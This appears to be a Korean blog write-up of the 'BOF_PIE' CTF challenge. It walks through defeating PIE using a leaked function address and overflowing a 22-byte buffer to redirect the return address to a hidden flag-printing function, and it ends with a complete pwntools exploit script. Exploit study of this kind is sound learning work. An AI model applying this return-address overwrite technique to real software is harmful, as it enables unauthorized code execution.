본문 바로가기

정보보안

[문제해결] BOF_PIE 해결과정

저번에 풀었던 PIE 보호기법과 관련있는 문제인것 같다.

 

 

실행해보면 어떤 주소와 함께 문자열들이 나오는데, 아무 단어나 입력하면 Nah...라고 출력해준다.

 

[사전조사]

보호기법들

예상대로 PIE가 걸려있었고(함수들의 절대주소 계속 변함), NX bit가 있어서 쉘코드 삽입도 불가능하다.

단, GOT overwrite 정도는 가능해 보인다.

 

[프로그램 흐름 분석해보기]

 

특별히 보이는 함수는 j0n9hyun, welcome이었다. 분석이 필요해 보이는 함수는 main을 포함해 3개 정도가 될것같다.

main함수

welcom함수와 puts함수만 호출하는걸 보니 welcome함수에서 입력을 받고, 다시 여기로 돌아와서 Nah를 puts하는것 같았다.

 

 

눈에 띄는 문자열은 "j0n9hyun is %p\n"인데, 스택의 최상위에 쌓이게 될 이 문자열의 바로 밑에  welcome의 offset이 쌓이게 되므로 아까 실행화면에서 표시되었던 주소값은 offset의 주소였던 것이다.(여기서는 절대주소가 표시된다.)

 

PIE가 걸려있다 해도 모든 함수들의 상대주소는 알 수 있기 때문에 한 함수의 절대주소만 알아낸다면, 모든 함수의 절대주소를 알아낼 수 있기 때문에 해당 보호기법을 우회할 수 있게 된다.

 

j0n9hyun 함수가 등장하지 않는것으로 보아 아마 숨겨진 함수같다.

 

j0n9hyun 함수

첫번에 ha-wi를 출력한 뒤 flag파일을 여는 부분이 보인다. j0n9hyun 함수를 실행시키면 문제를 해결할 수 있을것 같다.

 

[풀이 전략]

 

함수 흐름을 바꿀만한곳은 return address밖에 아직 보이지 않는다.

return address를 j0n9hyun 함수 address로 바꿔서 main함수 대신 j0n9hyun 함수 address로 이동하도록 하면 될것같다.

 

우선 함수 주소를 구해야 하는데, 이번에도 동적으로 구해야할것 같다. 

 

0x가 등장하는 자리가 두번째줄 12번째 위치임을 고려해서 코드를 작성해준다.

 

p = remote('ctf.j0n9hyun.xyz','3008')
p = process('./bof_pie')
p.recvline()
welcome_addr = int(p.recvline().decode('utf-8')[12:], 16)

 

welcome의 상대 주소는 0x909이고, j0n9hyun의 상대 주소는 0x890이므로 총 0x79만큼 떨어져 있다.

따라서 위에서 구한 welcome_addr에서 0x79를 빼주면 j0n9hyun의 절대 주소가 나올것이다.

 

버퍼오버플로우를 이용해야 하는데, scanf로 입력받는 장소인 var_12부터 return address까지 거리를 재보면

 

0x16만큼 떨어져 있다.

0x16(=22) 바이트만큼 아무 문자나 입력한다음 위에서 구한 주소를 넣어주면 문제가 풀릴것같다.

 

[실행해보기]

 

from pwn import *
p = remote('ctf.j0n9hyun.xyz','3008')
p.recvline()
s = p.recvline().decode('utf-8')
welcome_addr = int(s[12:], 16)

j_addr = welcome_addr - 0x79

data = b'A' * 22
data += p32(j_addr)
p.sendline(data)

p.interactive()

 

지금까지 모았던 정보로 작성한 코드이다.

 

[결과]

 

성공!

 

[마무리]

 

PIE기법이 걸려있는 상황에서 어떻게 대처해야 하는지를 생각해볼 수 있게 하는 문제였던것 같다.

버퍼 오버플로우 문제에 대해서 이제 어느정도는 감을 잡아가고 있는것 같다.